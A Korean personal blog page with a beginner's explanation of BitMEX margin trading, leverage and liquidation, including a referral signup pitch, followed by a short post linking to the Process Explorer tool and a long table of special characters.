진호박's Life Style

여러가지 +236







0.비트맥스 마진거래란?


최대한 이해하기 쉽게 비트맥스 마진거래 방법을 알아보죠.먼저 마진거래의 사전적 의미는 아래와 같습니다.


마진거래


자신의 증거금을 증권회사에 맏기고 그 맏긴 증거금을 담보로 돈을 빌려서 거래하는 방식을 뜻합니다.즉 쉽게 말해 자신의 자금을 담보도 돌을 빌려서 거래하는 고위험 고수익 거래방식입니다.


이때 비트맥 마진배율은 최대 100배라 하였으니.자신이 가진 증거금의 최대 100배 까지 돈을 빌려올 수 있으며,그 만큼 고수익이 가능한 동시에 증거금 모두를 청산당할 수 있는 고위험 상품입니다.


좀 더 이해하기 쉽게 예시를 통해서




일반적인 거래


먼저,마진거래 이전 일반적인 거래입니다.자신의 증거음 100만원을 거래소에 넣은 후 비트코인 가격이 50% 상승해서 이득을 봤으면 금액은 150만원이되고.수익은 50만원이 되겠죠?



마진거래


그럼 마진거래를 해보죠.자신이 지금 가진 돈은 100만원 뿐임니다.이 100만원을 거래소에 맏기고 그 100만원을 담보로 다시 100만원을 빌려서 총 200만원을 투자할 수 있으며,이는 마진배율 2배에 해당되겠죠? 이때 위와 동일하게 50% 이익이 나면 그 2배인 100만원 수익이 나고.수익이 난 후 빌린돈 100만원을 거래소에 돌려주면 50% 수익만으로 2배의 수익인 100만원의 수익을 챙길 수 있습니다.


그럴싸하죠? 근대 거래소가 호구도 아니고 그렇게 돈쉽게 빌려주는 자선단체가 아니죠.위 경우는 수익이 낫을 경우고 반대로 돈을 빌려서 투자한 돈이 마이너스가 된다면? 그렇습니다.2배 마진배율로 돈을 빌려 -10% 마이너스가 나면 그 2배인 -20% 마이너스나 나게 됩니다.


5배 마진배율로 거래하면 -10% 가 나면 5배인 -50% 돈을 손실이 나겠죠.마진배율이 높아질수록 수익률도 손실률도 급격하게 증가합니다.


강제청산


이렇게 마진배율이 높이게 되면,강제청산되는 경우가 있습니다.마진콜이라하면,일정금액 이하 마이너스가 나면 자신의 거래소에 맏기 증거금 모두를 청산당하게 됩니다.말그래로 빈털털이가 되며,마진배율이 높아질 수 록 점점 청산이 발동하는 간격이 좁혀입니다.이는 점점 더 청산할 가능성이 높다는 뜻이겠죠?


지금까지 마진거래에 대한 개념이었습니다.그럼 다음은 마진거래의 두가지 방법 공매수,공매도 소개입니다.



공매수란?


공매수는 앞으로 가격이 오를것을 예상하고 거래소에서 돈을 빌려서 투자하는 방법입니다.이전 예시에서 등장한것에 마진거래 공매수입니다.


그럼 반대로 공매도는? 그렇습니다.가격이 내릴것을 예상하고 거기에 거래소에 돈을 빌려 투자하는 방식입니다.가격이 내릴수록 수익이나는 시스템이죠.



공매도란?


때문에 일반거래소에서는 가격이 오를경우만 수익을 기대하실 수 있지만.비트맥스 마진거래 공매도를 통해서 가격이 내릴것을 예상하고 거래소에서 돈을 빌려 투자하여 가격하락에서도 수익을 거둘 수 있습니다.


어떻게 이런일이 가능할까요?


예를 들면 1코인에 100만원하는 코인을 거래소에서 빌려서 시중에 100만원에 판매합니다.그럼 내 자본은 100만원되며,나중에 가격이 하락하여 반값이 되었다? 하면 50만원에 코인을 1개 사서 거래소에 코인1개를 갚으면 됩니다.그럼 시중에 50만원이라는 차액이 남개되고 그게 수익입니다.



안녕하세요. 진호박입니다. 오늘 소개해드릴 사이트는 비트코인이나 이더리움, 각종 알트코인들의 마진 거래를 할 수 있는 비트멕스라는 사이트입니다. 그런데 이 거래소가 다른 비트코인 관련 거래소들과 다른 점은 마진비율, 즉 마진거래를 무려 100배이상까지도 할 수 있다는 점입니다. 마진 100배라는 것을 쉽게 설명하자면 원금이 10만원일때 1천만원까지 거래를 할 수 있고, 2%만 상승해도 수익이 원금의 두배가 됩니다. 잘만 활용하면 대박! 잘못 활용하면 쪽박을 차게되는 어마무시한 마진율입니다.

테스트차원에서 20번정도 해봤는데 진짜 어마무시합니다. 10초만에 투자원금의 200%에 도달하기도 하고, 마진을 구매하자마자 10초도 안되어 강제청산당하기도 했습니다. 후덜덜하죠^^ 하지만 마진율을 본인이 조정할 수 있는 장치가 있어서 5배나 10배 정도에서 거래를 하면 강제청산 당하는 폭이 넓어져 좀더 여유를 가지고 거래를 할 수 있습니다.


그리고 중요한 사실 하나!
현재 비트멕스에서 회원가입 이벤트 중인데 위 링크를 통해서 비트멕스에 가입을 할 경우에 6개월동안이나 거래 수수료의 10%를 할인해준다고 합니다. 해외 거래소는 거래수수료가 어마어마하죠. 근데 6개월간 10%를 할인해준다니 대단합니다. 거래 금액이 아무리 작더라도 이런 혜택은 반드시 누리시기 바랍니다. 저는 그냥 가입해버려서 단 1원의 혜택도 못 누리고 있네요. 솔직히 다시 가입하고 싶습니다. ㅠ.ㅠ

비트멕스의 따라하기 강좌이미지들을 보시면서 진행하시면 어렵지않게 가입 및 매매를 할 수 있으리라 확신합니다. 다른분들의 자료가 없어서 직접 경험해보고 만든 강좌라서 약간은 영어해석에 오역이 있거나 오류가 있을 수도 있습니다. 그점 양해바랍니다. 네이버나 구글을 다 찾아보아도 비트멕스에 대한 따라하기 강좌가 전혀없어서 고된 노가다한번 했다 생각하고 만들어보았습니다. 비트멕스를 이용하고자 하는 분들에게 조금이나마 도움이 되길 기대해봅니다.




이렇게 비트멕스에 간단히 가입이 완료되었습니다. 다른 사이트와는 다르게 비트멕스는 여권인증이나 주소지인증, 은행계좌인증 등의 인증이 전혀없이 간소화되어있습니다. 이점이 참 마음에 듭니다. 다음 시간에는 보안 설정을 위한 구글 OTP설정하는 방법에 대해서 알아보도록 하겠습니다. 이상으로 진호박이었습니다. 감사합니다. ^.^

'여러가지 > 암호화폐' 카테고리의 다른 글

4.비트맥스 주문하기  (0) 2018.03.01
3.비트맥스 입금방법  (0) 2018.03.01
2.비트맥스 구글 OTP 설정  (0) 2018.03.01
1.비트맥스 가입방법  (0) 2018.03.01
0.비트맥스 마진거래란?  (0) 2018.03.01

sumnail

여러가지/잡담2017. 3. 6. 23:46

1

2

3


실행된 프로세스와 프로세스의 자세한 정보들을 볼 수 있는 툴입니다. 사용법은 작업관리자와 유사하나 훨씬 많은 기능을 가지고 있습니다.




공식 다운로드 링크

https://technet.microsoft.com/en-us/sysinternals/processexplorer.aspx


바로 다운로드

ProcessExplorer.zip


~ ! @ # $ % ^ & * \ " ' + = ` | ( ) [ ] { } : ; - _ - # & & @ § ※ ☆ ★ ○ ● ◎ ◇ ◆ □ ■ △ ▲ ▽ ▼ → ← ← ↑ ↓ ↔ 〓
◁ ◀ ▷ ▶ ♤ ♠ ♡ ♥ ♧ ♣ ⊙ ◈ ▣ ◐ ◑ ▒ ▤ ▥ ▨ ▧ ▦ ▩ ♨ ☏ ☎ ☜ ☞ ¶ † ‡ ↕ ↗ ↙ ↖ ↘ ♭ ♩ ♪ ♬ ㉿ ㈜
№ ㏇ ™ ㏂ ㏘ ℡ ® ª º ─ │ ┌ ┐ ┘ └ ├ ┬ ┤ ┴ ┼ ━ ┃ ┏ ┓ ┛ ┗ ┣ ┳ ┫ ┻ ╋ ┠ ┯ ┨ ┷ ┿ ┝ ┰ ┥ ┸ ╂ ┒
┑ ┚ ┙ ┖ ┕ ┎ ┍ ┞ ┟ ┡ ┢ ┦ ┧ ┩ ┪ ┭ ┮ ┱ ┲ ┵ ┶ ┹ ┺ ┽ ┾ ╀ ╁ ╃ ╄ ╅ ╆ ╇ ╈ ╉ ╊
+ - < = > ± × ÷ ≠ ≤ ≥ ∞ ∴ ♂ ♀ ∠ ⊥ ⌒ ∂ ∇ ≡ ≒ ≪ ≫ √ ∽ ∝ ∵ ∫ ∬ ∈ ∋ ⊆ ⊇ ⊂ ⊃ ∪ ∩ ∧ ∨ ¬ ⇒ ⇔ ∀ ∃ ∮ ∑ ∏
! ' , . / : ; ? ^ _ ` |  ̄ 、 。 · ‥ … ¨ 〃 ­ ― ∥ \ ∼ ´ ~ ˇ ˘ ˝ ˚ ˙ ¸ ˛ ¡ ¿ ː
" ” 〔 〕 { } ‘ ’ “ ” 〔 〕 〈 〉 《 》 「 」 『 』 【 】
㉠ ㉡ ㉢ ㉣ ㉤ ㉥ ㉦ ㉧ ㉨ ㉩ ㉪ ㉫ ㉬ ㉭
㉮ ㉯ ㉰ ㉱ ㉲ ㉳ ㉴ ㉵ ㉶ ㉷ ㉸ ㉹ ㉺ ㉻
㈀ ㈁ ㈂ ㈃ ㈄ ㈅ ㈆ ㈇ ㈈ ㈉ ㈊ ㈋ ㈌ ㈍
㈎ ㈏ ㈐ ㈑ ㈒ ㈓ ㈔ ㈕ ㈖ ㈗ ㈘ ㈙ ㈚ ㈛
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂
$ % ₩ F ′ ″ ℃ Å ¢ £ ¥ ¤ ℉ ‰ € ㎕ ㎖ ㎗ ℓ ㎘ ㏄ ㎣ ㎤ ㎥ ㎦ ㎙ ㎚ ㎛ ㎜ ㎝ ㎞ ㎟ ㎠ ㎡ ㎢ ㏊ ㎍ ㎎ ㎏ ㏏ ㎈ ㎉ ㏈ ㎧ ㎨ ㎰ ㎱
㎲ ㎳ ㎴ ㎵ ㎶ ㎷ ㎸ ㎹ ㎀ ㎁ ㎂ ㎃ ㎄ ㎺ ㎻ ㎼ ㎽ ㎾ ㎿ ㎐ ㎑ ㎒ ㎓ ㎔ Ω ㏀ ㏁ ㎊ ㎋ ㎌ ㏖ ㏅ ㎭ ㎮ ㎯ ㏛ ㎩ ㎪ ㎫ ㎬ ㏝ ㏐ ㏓ ㏃ ㏉ ㏜ ㏆
ㄱ ㄲ ㄼ ㄽ ㄾ ㄿ ㅀ ㄷ ㄸ ㄹ ㄺ ㄻ ㄼ ㄽ ㄾ ㄿ ㅀ ㅁ ㅂ ㅃ ㅄ ㅅ ㅆ ㅇ ㅈ ㅉ ㅊ ㅋ ㅌ ㅍ ㅎ
ㅏ ㅐ ㅑ ㅒ ㅓ ㅔ ㅕ ㅖ ㅗ ㅘ ㅙ ㅚ ㅣ ㅛ ㅜ ㅝ ㅞ ㅟ ㅠ ㅡ ㅢ ㅣ
ㅥ ㅦ ㅧ ㅨ ㅩ ㅪ ㅫ ㅬ ㅭ ㅮ ㅯ ㅰ ㅱ ㅲ ㅳ ㅴ ㅵ ㅶ ㅷ ㅸ ㅹ ㅺ ㅻ ㅼ ㅽ ㅾ ㅿ ㆀ ㆁ ㆂ ㆄ ㆅ ㆆ ㆇ ㆈ ㆉ ㆊ ㆋ ㆌ
ㆍ ½ ⅓ ⅔ ¼ ¾ ⅛ ⅜ ⅝ ⅞ ¹ ² ³ ⁴ ⁿ ₁ ₂ ₃ ₄
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
a b c d e f g h i j k l m n o p q r s t u v w x y z
Α Β Γ Δ Ε Ζ Η Θ Ι Κ Λ Μ Ν Ξ Ο Π Ρ Σ Τ Υ Φ Χ Ψ Ω α β γ δ ε ζ η θ ι κ λ μ ν ξ ο π ρ σ τ υ φ χ ψ ω
0 1 2 3 4 5 6 7 8 9 ⅰ ⅱ ⅲ ⅳ ⅴ ⅵ ⅶ ⅷ ⅸ ⅹ Ⅰ Ⅱ Ⅲ Ⅳ Ⅴ Ⅵ Ⅶ Ⅷ Ⅸ Ⅹ

ꊒ ꊓ ꊔ ꊕ ꊖ ꊗ ꊘ ꊙ ꊚ ꊛ
ꊈ ꊉ ꊊ ꊋ ꊌ ꊍ ꊎ ꊏ ꊐ ꊑ
ꊦ ꊧ ꊨ ꊩ ꊪ ꊫ ꊬ ꊭ ꊮ ꊯ
ꊝ ꊞ ꊟ ꊠ ꊡ ꊢ ꊣ ꊤ ꊥ
ꋍ ꋎ ꋏ ꋐ ꋑ ꋒ ꋓ ꋔ ꋕ ꋖ
ꋠ ꋡ ꋢ ꋣ ꋤ ꋥ ꋦ ꋧ ꋨ ꋩ
ꊰ ꊱ ꊲ ꊳ ꊴ ꊵ ꊶ ꊷ ꊸ ꊹ
ꊺ ꊻ ꊼ ꊽ ꊾ ꊿ ꋀ ꋁ ꋂ
꓌ ꓍ ꓎ ꓏ ꓐ ꓑ ꓒ ꓓ ꓔ ꓕ
꒐ ꒑ ꒒ ꒓ ꒔ ꒕ ꒖ ꒗ ꒘ ꒙
꒮ ꒯ ꒰ ꒱ ꒲ ꒳ ꒴ ꒵ ꒶ ꒷
꓂ ꓃ ꓄ ꓅ ꓆ ꓇ ꓈ ꓉ ꓊ ꓋
ꓖ ꓗ ꓘ ꓙ ꓚ ꓛ ꓜ ꓝ ꓞ ꓟ
ꓪ ꓫ ꓬ ꓭ ꓮ ꓯ ꓰ ꓱ ꓲ ꓳ
ꓠ ꓡ ꓢ ꓣ ꓤ ꓥ ꓦ ꓧ ꓨ ꓩ
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂

ꈂ ꈃ ꈄ ꈅ ꈆ ꈇ ꈈ ꈉ ꈊ ꈋ ꈌ ꈍ ꈎ ꈏ ꈐ ꈑ ꈒ ꈓ ꈔ ꈕ
ꉭ ꉮ ꉯ ꉰ ꉱ ꉲ ꉳ ꉴ ꉵ ꉶ ꉷ ꉸ ꉹ ꉺ ꉻ ꉼ ꉽ ꉾ ꉿ ꊀ
ꆗ ꆘ ꆙ ꆚ ꆛ ꆜ ꆝ ꆞ ꆟ ꆠ ꆡ ꆢ ꆣ ꆤ ꆥ ꆦ ꆧ ꆨ ꆩ ꆪ
ꄽ ꄾ ꄿ ꅀ ꅁ ꅂ ꅃ ꅄ ꅅ ꅆ
㊀ ㊁ ㊂ ㊃ ㊄ ㊅ ㊆ ㊇ ㊈ ㊉
㈠ ㈡ ㈢ ㈣ ㈤ ㈥ ㈦ ㈧ ㈨ ㈩
㆒ ㆓ ㆔ ㆕ ㆖ ㆗ ㆘ ㆙ ㆚ ㆛
ꈖ ꈗ ꈘ ꈙ ꈚ ꈛ ꈜ
ꊁ ꊂ ꊃ ꊄ ꊅ ꊆ ꊇ
ꆫ ꆬ ꆭ ꆮ ꆯ ꆰ ꆱ
㊊ ㊋ ㊌ ㊍ ㊎ ㊏ ㊐
㈪ ㈫ ㈬ ㈭ ㈮ ㈯ ㈰

㋀ ㋁ ㋂ ㋃ ㋄ ㋅ ㋆ ㋇ ㋈ ㋉ ㋊ ㋋
㏠ ㏡ ㏢ ㏣ ㏤ ㏥ ㏦ ㏧ ㏨ ㏩ ㏪ ㏫ ㏬ ㏭ ㏮
㏯ ㏰ ㏱ ㏲ ㏳ ㏴ ㏵ ㏶ ㏷ ㏸ ㏹ ㏺ ㏻ ㏼ ㏽ ㏾
㍘ ㍙ ㍚ ㍛ ㍜ ㍝ ㍞ ㍟ ㍠ ㍡ ㍢ ㍣ ㍤ ㍥ ㍦ ㍧ ㍨ ㍩ ㍪ ㍫ ㍬ ㍭ ㍮ ㍯ ㍰

ꆲ ꆳ ꆴ ꆵ ꆶ ꆷ ꆸ ꆹ ꆺ ꆻ ꆼ ꆽ ꆾ
ꆿ ꇀ ꇁ ꇂ ꇃ ꇄ ꇅ ꇆ ꇇ ꇈ ꇉ ꇊ ꇋ
ꇌ ꇍ ꇎ ꇏ ꇐ ꇑ ꇒ ꇓ ꇔ ꇕ ꇖ ꇗ ꇘ
ꇙ ꇚ ꇛ ꇜ ꇝ ꇞ ꇟ ꇠ ꇡ ꇢ ꇣ ꇤ ꇥ
ꈝ ꈞ ꈟ ꈠ ꈡ ꈢ ꈣ ꈤ ꈥ ꈦ ꈧ ꈨ ꈩ
ꈪ ꈫ ꈬ ꈭ ꈮ ꈯ ꈰ ꈱ ꈲ ꈳ ꈴ ꈵ ꈶ
ꈷ ꈸ ꈹ ꈺ ꈻ ꈼ ꈽ ꈾ ꈿ ꉀ ꉁ ꉂ ꉃ
ꉄ ꉅ ꉆ ꉇ ꉈ ꉉ ꉊ ꉋ ꉌ ꉍ ꉎ ꉏ ꉐ
ꍽ ꍾ ꍿ ꎀ ꎁ ꎂ ꎃ ꎄ ꎅ ꎆ ꎇ ꎈ ꎉ
ꎊ ꎋ ꎌ ꎍ ꎎ ꎏ ꎐ ꎑ ꎒ ꎓ ꎔ ꎕ ꎖ
ꅇ ꅈ ꅉ ꅊ ꅋ ꅌ ꅍ ꅎ ꅏ ꅐ ꅑ ꅒ ꅓ
ꅔ ꅕ ꅖ ꅗ ꅘ ꅙ ꅚ ꅛ ꅜ ꅝ ꅞ ꅟ ꅠ
ꅡ ꅢ ꅣ ꅤ ꅥ ꅦ ꅧ ꅨ ꅩ ꅪ ꅫ ꅬ ꅭ
ꅮ ꅯ ꅰ ꅱ ꅲ ꅳ ꅴ ꅵ ꅶ ꅷ ꅸ ꅹ ꅺ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ
ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨
⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
a b c d e f g h i j k l m
n o p q r s t u v w x y z

ꂛ ꂜ ꂝ ꂞ ꂟ ꂠ ꂡ ꂢ ꂣ ꂤ ꂥ ꂦ ꂧ ꂨ
ꆉ ꆊ ꆋ ꆌ ꆍ ꆎ ꆏ ꆐ ꆑ ꆒ ꆓ ꆔ ꆕ ꆖ
ꇴ ꇵ ꇶ ꇷ ꇸ ꇹ ꇺ ꇻ ꇼ ꇽ ꇾ ꇿ ꈀ ꈁ
ꉟ ꉠ ꉡ ꉢ ꉣ ꉤ ꉥ ꉦ ꉧ ꉨ ꉩ ꉪ ꉫ ꉬ
㉮ ㉯ ㉰ ㉱ ㉲ ㉳ ㉴ ㉵ ㉶ ㉷ ㉸ ㉹ ㉺ ㉻
㈎ ㈏ ㈐ ㈑ ㈒ ㈓ ㈔ ㈕ ㈖ ㈗ ㈘ ㈙ ㈚ ㈛
ꂩ ꂪ ꂫ ꂬ ꂭ ꂮ ꂯ ꂰ ꂱ ꂲ
ꃳ ꃴ ꃵ ꃶ ꃷ ꃸ ꃹ ꃺ ꃻ ꃼ
ꇦ ꇧ ꇨ ꇩ ꇪ ꇫ ꇬ ꇭ ꇮ ꇯ ꇰ ꇱ ꇲ ꇳ
ꅻ ꅼ ꅽ ꅾ ꅿ ꆀ ꆁ ꆂ ꆃ ꆄ ꆅ ꆆ ꆇ ꆈ
ꉑ ꉒ ꉓ ꉔ ꉕ ꉖ ꉗ ꉘ ꉙ ꉚ ꉛ ꉜ ꉝ ꉞ
㈀ ㈁ ㈂ ㈃ ㈄ ㈅ ㈆ ㈇ ㈈ ㈉ ㈊ ㈋ ㈌ ㈍
㉠ ㉡ ㉢ ㉣ ㉤ ㉥ ㉦ ㉧ ㉨ ㉩ ㉪ ㉫ ㉬ ㉭

ꂳ ꂴ ꂵ ꂶ ꂷ ꂸ ꂹ ꂺ ꂻ ꂼ ꂽ ꂾ ꂿ ꃀ ꃁ ꃂ
ꃃ ꃄ ꃅ ꃆ ꃇ ꃈ ꃉ ꃊ ꃋ ꃌ ꃍ ꃎ ꃏ ꃐ ꃑ ꃒ
ꃓ ꃔ ꃕ ꃖ ꃗ ꃘ ꃙ ꃚ ꃛ ꃜ ꃝ ꃞ ꃟ ꃠ ꃡ ꃢ
ꃣ ꃤ ꃥ ꃦ ꃧ ꃨ ꃩ ꃪ ꃫ ꃬ ꃭ ꃮ ꃯ ꃰ ꃱ ꃲ
ꃽ ꃾ ꃿ ꄀ ꄁ ꄂ ꄃ ꄄ ꄅ ꄆ ꄇ ꄈ ꄉ ꄊ ꄋ ꄌ
ꄍ ꄎ ꄏ ꄐ ꄑ ꄒ ꄓ ꄔ ꄕ ꄖ ꄗ ꄘ ꄙ ꄚ ꄛ ꄜ
ꄝ ꄞ ꄟ ꄠ ꄡ ꄢ ꄣ ꄤ ꄥ ꄦ ꄧ ꄨ ꄩ ꄪ ꄫ ꄬ
ꄭ ꄮ ꄯ ꄰ ꄱ ꄲ ꄳ ꄴ ꄵ ꄶ ꄷ ꄸ ꄹ ꄺ ꄻ ꄼ

ꍟ ꍠ ꍡ ꍢ ꍣ ꍤ ꍥ ꍦ ꍧ ꍨ ꍩ ꍪ
ꍯ ꍺ ꍻ ꍼ ꎗ ꎘ ꎙ ꎚ ꎛ ꎜ ꎝ ꎧ ꎨ ꏁ ꏂ ꎯ
ꍫ ꍬ ꍭ ꍮ ꎞ ꎟ ꎠ ꎡ ꎪ
ꍰ ꍱ ꍲ ꍳ ꍴ ꍵ ꍶ ꍷ ꍸ ꍹ ꎼ ꎽ ꎾ ꎿ ꎮ ꎰ ꎲ ꎬ
ꎢ ꎣ ꎤ ꎥ ꎦ ꎩ ꎫ ꎭ ꎱ ꎳ ꎶ ꎷ ꎸ ꎹ ꎺ ꎻ ꏀ ꏃ ꏄ

困 囷 囹 固 囿 圁 圂 圃 圄 圈 圉 圊
國 圍 園 圓 圖 團 圜 囚 因 囦 囫 囮
囘 囙 囜 囝 囡 团 団 囤 囥 囧 囨 囩 囪 囬 园 囯 囱 囲 図 围 囵 囶
囸 囻 囼 国 图 圀 圅 圆 圇 圌 圎 圏 圐 圑 圔 圕 圗 圙 圚 圛 圝 圞
㈱ ㈲ ㈳ ㈴ ㈵ ㈶ ㈷ ㈸ ㈹ ㈺ ㈻ ㈼ ㈽ ㈾ ㈿ ㉀ ㉁ ㉂ ㉃
㊑ ㊒ ㊓ ㊔ ㊕ ㊖ ㊗ ㊘ ㊙ ㊚ ㊛ ㊜ ㊝ ㊞ ㊟ ㊠
㊡ ㊢ ㊣ ㊤ ㊥ ㊦ ㊧ ㊨ ㊩ ㊪ ㊫ ㊬ ㊭ ㊮ ㊯ ㊰

㋐ ㋑ ㋒ ㋓ ㋔ ㋕ ㋖ ㋗ ㋘ ㋙ ㋚ ㋛ ㋜ ㋝ ㋞ ㋟ ㋠ ㋡ ㋢ ㋣ ㋤ ㋥ ㋦ ㋧
㋨ ㋩ ㋪ ㋫ ㋬ ㋭ ㋮ ㋯ ㋰ ㋱ ㋲ ㋳ ㋴ ㋵ ㋶ ㋷ ㋸ ㋹ ㋺ ㋻ ㋼ ㋽ ㋾

㌀ ㌁ ㌂ ㌃ ㌄ ㌅ ㌆ ㌇ ㌈ ㌉ ㌊ ㌋ ㌌ ㌍ ㌎ ㌏ ㌐ ㌑ ㌒ ㌓ ㌔ ㌕
㌖ ㌗ ㌘ ㌙ ㌚ ㌛ ㌜ ㌝ ㌞ ㌟ ㌠ ㌡ ㌢ ㌣ ㌤ ㌥ ㌦ ㌧ ㌨ ㌩ ㌪ ㌫
㌬ ㌭ ㌮ ㌯ ㌰ ㌱ ㌲ ㌳ ㌴ ㌵ ㌶ ㌷ ㌸ ㌹ ㌺ ㌻ ㌼ ㌽ ㌾ ㌿ ㍀ ㍁
㍂ ㍃ ㍄ ㍅ ㍆ ㍇ ㍈ ㍉ ㍊ ㍋ ㍌ ㍍ ㍎ ㍏ ㍐ ㍑ ㍒ ㍓ ㍔ ㍕ ㍖ ㍗

ᐰ ᐱ ᐲ ᐳ ᐴ ᐵ ᐶ ᐷ ᐸ ᐹ ᐺ ᐻ ᐼ ᐽ ᐾ ᐿ ᑀ ᑁ ᑂ ᑃ ᑄ ᑅ ᑆ ᑇ ᑈ ᑉ ᑊ ᑋ ᑌ ᑍ ᑎ ᑏ
ᑐ ᑑ ᑒ ᑓ ᑔ ᑕ ᑖ ᑗ ᑘ ᑙ ᑚ ᑛ ᑜ ᑝ ᑞ ᑟ ᑠ ᑡ ᑢ ᑣ ᑤ ᑥ ᑦ ᑧ ᑨ ᑩ ᑪ ᑫ ᑬ ᑭ ᑮ ᑯ
ᑰ ᑱ ᑲ ᑳ ᑴ ᑵ ᑶ ᑷ ᑸ ᑹ ᑺ ᑻ ᑼ ᑽ ᑾ ᑿ ᒀ ᒁ ᒂ ᒃ ᒄ ᒅ ᒆ ᒇ ᒈ ᒉ ᒊ ᒋ ᒌ ᒍ ᒎ ᒏ
ᒐ ᒑ ᒒ ᒓ ᒔ ᒕ ᒖ ᒗ ᒘ ᒙ ᒚ ᒛ ᒜ ᒝ ᒞ ᒟ ᒠ ᒡ ᒢ ᒣ ᒤ ᒥ ᒦ ᒧ ᒨ ᒩ ᒪ ᒫ ᒬ ᒭ ᒮ ᒯ
ᓐ ᓑ ᓒ ᓓ ᓔ ᓕ ᓖ ᓗ ᓘ ᓙ ᓚ ᓛ ᓜ ᓝ ᓞ ᓟ ᓠ ᓡ ᓢ ᓣ ᓤ ᓥ ᓦ ᓧ ᓨ ᓩ ᓪ ᓫ ᓬ ᓭ ᓮ ᓯ
ᓰ ᓱ ᓲ ᓳ ᓴ ᓵ ᓶ ᓷ ᓸ ᓹ ᓺ ᓻ ᓼ ᓽ ᓾ ᓿ ᔐ ᔑ ᔒ ᔓ ᔔ ᔕ ᔖ ᔗ ᔘ ᔙ ᔚ ᔛ ᔜ ᔝ ᔞ ᔟ
ᔠ ᔡ ᔢ ᔣ ᔤ ᔥ ᔦ ᔧ ᔨ ᔩ ᔪ ᔫ ᔬ ᔭ ᔮ ᔯ ᔰ ᔱ ᔲ ᔳ ᔴ ᔵ ᔶ ᔷ ᔸ ᔹ ᔺ ᔻ ᔼ ᔽ ᔾ ᔿ
ᕀ ᕁ ᕂ ᕃ ᕄ ᕅ ᕆ ᕇ ᕈ ᕉ ᕊ ᕋ ᕌ ᕍ ᕎ ᕏ ᕐ ᕑ ᕒ ᕓ ᕔ ᕕ ᕖ ᕗ ᕘ ᕙ ᕚ ᕛ ᕜ ᕝ ᕞ ᕟ
ᕠ ᕡ ᕢ ᕣ ᕤ ᕥ ᕦ ᕧ ᕨ ᕩ ᕪ ᕫ ᕬ ᕭ ᕮ ᕯ ᕰ ᕱ ᕲ ᕳ ᕴ ᕵ ᕶ ᕷ ᕸ ᕹ ᕺ ᕻ ᕼ ᕽ ᕾ ᕿ
ᖠ ᖡ ᖢ ᖣ ᖤ ᖥ ᖦ ᖧ ᖨ ᖩ ᖪ ᖫ ᖬ ᖭ ᖮ ᖯ ᖰ ᖱ ᖲ ᖳ ᖴ ᖵ ᖶ ᖷ ᖸ ᖹ ᖺ ᖻ ᖼ ᖽ ᖾ ᖿ
ᗀ ᗁ ᗂ ᗃ ᗄ ᗅ ᗆ ᗇ ᗈ ᗉ ᗊ ᗋ ᗌ ᗍ ᗎ ᗏ ᗐ ᗑ ᗒ ᗓ ᗔ ᗕ ᗖ ᗗ ᗘ ᗙ ᗚ ᗛ ᗜ ᗝ ᗞ ᗟ
ᗠ ᗡ ᗢ ᗣ ᗤ ᗥ ᗦ ᗧ ᗨ ᗩ ᗪ ᗫ ᗬ ᗭ ᗮ ᗯ ᗰ ᗱ ᗲ ᗳ ᗴ ᗵ ᗶ ᗷ ᗸ ᗹ ᗺ ᗻ ᗼ ᗽ ᗾ ᗿ

ᘀ ᘂ ᘃ ᘄ ᘅ ᘆ ᘇ ᘈ ᘉ ᘊ ᘋ ᘌ ᘍ ᘎ ᘏ ᘐ ᘑ
ᘒ ᘓ ᘔ ᘕ ᘖ ᘗ ᘘ ᘙ ᘚ ᘛ ᘜ ᘝ ᘞ ᘟ ᘠ ᘡ ᘢ
ᘣ ᘤ ᘥ ᘦ ᘧ ᘨ ᘩ ᘪ ᘫ ᘬ ᘭ ᘮ ᘯ ᘰ ᘱ ᘲ ᘳ
ᘴ ᘵ ᘶ ᘷ ᘸ ᘹ ᘺ ᘻ ᘼ ᘽ ᘾ ᘿ ᙀ ᙁ ᙂ ᙃ ᙄ
ᙅ ᙆ ᙇ ᙈ ᙉ ᙊ ᙋ ᙌ ᙍ ᙎ ᙏ ᙐ ᙑ ᙒ ᙓ ᙔ ᙕ
ᙖ ᙗ ᙘ ᙙ ᙚ ᙛ ᙜ ᙝ ᙞ ᙟ ᙠ ᙡ ᙢ ᙣ ᙤ ᙥ ᙦ
ᙧ ᙨ ᙩ ᙪ ᙫ ᙬ ᙯ ᙰ ᙱ ᙲ ᙳ ᙴ ᙵ ᙶ

ઁ ં ઃ અ આ ઇ ઈ ઉ ઊ ઋ
ઍ એ ઐ ઑ ઓ ઔ ક ખ ગ
ઘ ઙ ચ છ જ ઝ ઞ ટ ઠ ડ ઢ

इ उ ऊ ऋ ऌ क ख ग घ ङ च छ ज झ ञ ट ठ ड ढ ण त द न ऩ प फ ब भ म य र ऱ ल ळ ऴ व श ष स ह क़ ख़ ग़ ज़ ड़ ढ़ फ़ य़ ॠ ॡ

Ա Բ Գ Դ Ե Զ Է Ը Թ Ժ Ի Լ Խ Ծ Կ Հ Ձ Ղ Ճ Մ Յ Ն Շ Ո Չ Պ Ջ Ռ Ս Վ Տ Ր
